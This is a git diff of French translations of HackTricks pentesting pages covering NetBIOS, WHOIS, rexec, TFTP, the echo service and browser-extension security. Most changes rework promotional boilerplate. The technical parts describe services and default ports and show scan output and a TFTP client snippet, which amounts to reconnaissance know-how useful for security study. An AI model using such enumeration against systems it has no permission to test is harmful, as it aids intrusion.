Les sessions sont établies en échangeant des paquets. L'ordinateur établissant la session tente d'établir une connexion [TCP](https://fr.wikipedia.org/wiki/Transmission\_Control\_Protocol) sur le port 139 de l'ordinateur avec lequel la session doit être établie. Si la connexion est établie, l'ordinateur établissant la session envoie ensuite sur la connexion un paquet "Demande de session" avec les noms NetBIOS de l'application établissant la session et le nom NetBIOS vers lequel la session doit être établie. L'ordinateur avec lequel la session doit être établie répondra avec une "Réponse de session positive" indiquant qu'une session peut être établie ou une "Réponse de session négative" indiquant qu'aucune session ne peut être établie (soit parce que cet ordinateur n'écoute pas les sessions établies à ce nom, soit parce qu'aucune ressource n'est disponible pour établir une session à ce nom).
|
||||
La transmission de données au sein d'une session implique des **paquets de messages de session**, les sessions se terminant par la fermeture de la connexion TCP.
|
||||
|
||||
Les données sont transmises pendant une session établie par des paquets de message de session.
|
||||
|
||||
TCP gère le contrôle de flux et la retransmission de tous les paquets de service de session, et la division du flux de données sur lequel les paquets sont transmis en datagrammes IP suffisamment petits pour tenir dans des paquets de couche de liaison.
|
||||
|
||||
Les sessions sont fermées en fermant la connexion TCP.
|
||||
Ces services sont essentiels à la fonctionnalité de **NetBIOS**, permettant une communication efficace et un partage de ressources à travers un réseau. Pour plus d'informations sur les protocoles TCP et IP, consultez leurs pages respectives sur [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) et [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
|
@ -61,7 +75,7 @@ Entry_1:
|
|||
Datagram distribution service for connectionless communication (port: 138/udp).
|
||||
Session service for connection-oriented communication (port: 139/tcp).
|
||||
|
||||
Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use.
|
||||
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
|
||||
|
||||
|
@ -72,12 +86,14 @@ Entry_2:
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
Le protocole **WHOIS** sert de méthode standard pour **s'informer sur les titulaires de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent les noms de domaine, les blocs d'adresses IP et les systèmes autonomes, entre autres. En plus de cela, le protocole est utilisé pour accéder à un éventail plus large d'informations.
|
||||
Le protocole **WHOIS** sert de méthode standard pour **s'informer sur les titulaires de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent les noms de domaine, les blocs d'adresses IP et les systèmes autonomes, entre autres. Au-delà de cela, le protocole est utilisé pour accéder à un spectre plus large d'informations.
|
||||
|
||||
**Port par défaut :** 43
|
||||
```
|
||||
|
@ -39,7 +39,7 @@ De plus, le service WHOIS doit toujours utiliser une **base de données** pour s
|
|||
|
||||
* `port:43 whois`
|
||||
|
||||
# Commandes automatiques HackTricks
|
||||
# Commandes Automatiques HackTricks
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
|
@ -68,7 +68,7 @@ D'autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -58,7 +58,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
C'est un service qui **permet d'exécuter une commande à l'intérieur d'un hôte** si vous connaissez des **identifiants** valides (nom d'utilisateur et mot de passe).
|
||||
C'est un service qui **vous permet d'exécuter une commande à l'intérieur d'un hôte** si vous connaissez des **identifiants valides** (nom d'utilisateur et mot de passe).
|
||||
|
||||
**Port par défaut :** 512
|
||||
```
|
||||
|
@ -27,14 +27,14 @@ PORT STATE SERVICE
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -15,7 +15,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
# Informations de base
|
||||
|
||||
Le **Protocole de transfert de fichiers trivial (TFTP)** est un protocole simple utilisé sur le **port UDP 69** qui permet le transfert de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur l'Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques.
|
||||
Le **Protocole de transfert de fichiers trivial (TFTP)** est un protocole simple utilisé sur le **port UDP 69** qui permet les transferts de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur l'Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques.
|
||||
|
||||
**À FAIRE** : Fournir des informations sur ce qu'est un Bittorrent-tracker (Shodan identifie ce port avec ce nom). Si vous avez plus d'informations à ce sujet, faites-le nous savoir par exemple dans le [**groupe Telegram HackTricks**](https://t.me/peass) (ou dans un problème GitHub dans [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
|
@ -54,10 +54,10 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -44,14 +44,14 @@ Hello echo #This is the response
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -18,7 +18,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
Les extensions de navigateur sont écrites en JavaScript et chargées par le navigateur en arrière-plan. Elles ont leur [DOM](https://www.w3schools.com/js/js_htmldom.asp) mais peuvent interagir avec les DOM d'autres sites. Cela signifie qu'elles peuvent compromettre la confidentialité, l'intégrité et la disponibilité d'autres sites (CIA).
|
||||
|
||||
## Composants principaux
|
||||
## Principaux composants
|
||||
|
||||
Les mises en page des extensions sont mieux visualisées et se composent de trois composants. Examinons chaque composant en détail.
|
||||
|
||||
|
@ -34,7 +34,7 @@ Le cœur de l'extension contient la plupart des privilèges/d'accès de l'extens
|
|||
|
||||
### **Binaire natif**
|
||||
|
||||
L'extension permet un binaire natif qui peut **accéder à la machine hôte avec les pleins privilèges de l'utilisateur.** Le binaire natif interagit avec le cœur de l'extension via l'interface de programmation d'application de plug-in Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plug-ins de navigateur.
|
||||
L'extension permet un binaire natif qui peut **accéder à la machine hôte avec les pleins privilèges de l'utilisateur**. Le binaire natif interagit avec le cœur de l'extension via l'interface de programmation d'application de plugin Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plugins de navigateur.
|
||||
|
||||
### Limites
|
||||
|
||||
|
@ -115,24 +115,24 @@ document.body.appendChild(div);
|
|||
```
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Un message est envoyé aux pages de l'extension par le script de contenu lorsque ce bouton est cliqué, en utilisant l'API [**runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux API, le `storage` étant l'une des rares exceptions. Pour les fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages de l'extension avec lesquelles les scripts de contenu peuvent communiquer.
|
||||
Un message est envoyé aux pages d'extension par le script de contenu lorsque ce bouton est cliqué, en utilisant l'API [**runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux API, le `storage` étant l'une des rares exceptions. Pour les fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages d'extension avec lesquelles les scripts de contenu peuvent communiquer.
|
||||
|
||||
{% hint style="warning" %}
|
||||
